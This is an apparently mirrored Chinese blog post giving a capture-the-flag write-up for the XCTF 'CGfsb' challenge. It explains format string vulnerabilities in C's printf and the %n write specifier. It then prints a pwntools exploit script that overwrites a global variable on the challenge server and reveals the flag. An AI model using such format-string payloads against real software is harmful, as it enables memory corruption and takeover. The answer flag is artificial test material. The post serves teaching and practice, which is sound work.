zoukankan      html  css  js  c++  java
  • 攻防世界--CGfsb238

    测试文件:https://adworld.xctf.org.cn/media/task/attachments/5982010c172744c8a1c93c24b5200b21

    1.格式化字符串漏洞

    我们使用printf输出字符串数组可以写成格式化输出:

    #include <stdio.h>
    
    int main()
    {
        char Buf[100];
        printf("Please inpurt flag:");
        scanf("%s",Buf);
        printf("%s",Buf);
        return 0;
    }

    但是也可以使用

    #include <stdio.h>
    
    int main()
    {
        char Buf[100];
        printf("Please inpurt flag:");
        scanf("%s",Buf);
        printf(Buf);
        return 0;
    }

    但是这种输出方式有漏洞,当我们输入格式化字符串时

     printf函数的调用方式为cdecl,在栈中参数形式为

     (图片引用自:https://blog.csdn.net/qq_43394612/article/details/84900668)

     当我们输入%x格式字符串,printf会将后面栈中数据以%x形式输出,这个61fe6c实际上就是format string后面的数据,可以在OD里面观测到

    因此如果我们输入字符串"ABCD",能够确认字符串在栈中的位置的话,那么我们就能够修改栈中的字符串,而通过上面的阐述,我们能够输入ABCD.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x,来确认"ABCD"在栈中的位置。

     当前字符串"ABCD"是在第6位,%< number>$x 是直接读取第number个位置的参数,同样可以用在%n,%d。

     

    具体可以参考这篇: https://blog.csdn.net/qq_43394612/article/details/84900668

    2.准备

    获取到信息

    • 32位文件
    • 未开启PIE,不会随机化全局变量地址

    3.使用IDA打开文件

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int buf; // [esp+1Eh] [ebp-7Eh]
      int v5; // [esp+22h] [ebp-7Ah]
      __int16 v6; // [esp+26h] [ebp-76h]
      char s; // [esp+28h] [ebp-74h]
      unsigned int v8; // [esp+8Ch] [ebp-10h]
    
      v8 = __readgsdword(0x14u);
      setbuf(stdin, 0);
      setbuf(stdout, 0);
      setbuf(stderr, 0);
      buf = 0;
      v5 = 0;
      v6 = 0;
      memset(&s, 0, 0x64u);
      puts("please tell me your name:");
      read(0, &buf, 0xAu);
      puts("leave your message please:");
      fgets(&s, 100, stdin);
      printf("hello %s", &buf);
      puts("your message is:");
      printf(&s);
      if ( pwnme == 8 )
      {
        puts("you pwned me, here is your flag:
    ");
        system("cat flag");
      }
      else
      {
        puts("Thank you!");
      }
      return 0;
    }

    通过分析,很明显我们只需要让pwnme的值为8就行,首先需要了解%n

    %n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。,%< number >$n 来直接修改第number个参数来修改栈中的值。

     字符串存储在第10位(也可以使用OD或者GDB调试找到位置)

    4.脚本解密

    #-*- coding:utf-8 -*-
    from pwn import *
    
    p = remote('111.198.29.45', 33059)
    pwnme = 0x0804A068 # pwnme所在地址,因为是全局变量,地址不会变
    payload1 = 'AAAA'
    # 字符串位置在第10位,因此是%10$n
    # 又因为p32(pwnme)占4字节,因此还需要4字节,才能返回8,所以是'AAAA%10$n'
    payload2 = p32(pwnme) + 'AAAA%10$n' 
     
    p.recvuntil('please tell me your name:
    ')
    p.sendline(payload1)
    p.recvuntil('leave your message please:
    ')
    p.sendline(payload2) # 将8写入到pwnme中
    # print(p.recv())
    # print(p.recv()) 
    p.interactive()

    5.get flag!

    cyberpeace{3343a4a64b9a2ed42e7fcd07386397f3}

  • 相关阅读:
    从零开始通过webhooks实现前端自动化
    使用rem配置PC端自适应大屏
    Nuxt内导航栏的两种实现方式
    VueX中直接修改数据报错,修改一维数组,二维数组,报错的原因
    在mpvue或者Vue中使用VUEX
    小程序框架MpVue踩坑日记(二)
    小程序mpvue中动态切换echarts图表
    小程序踩坑之不同屏幕下动态改变translate值
    Koa2+MySQL+VUE+ElementIUI搭建简单的后台管理小系统
    小程序框架MpVue踩坑日记(一)
  • 原文地址:https://www.cnblogs.com/Mayfly-nymph/p/12057740.html
Copyright © 2011-2022 走看看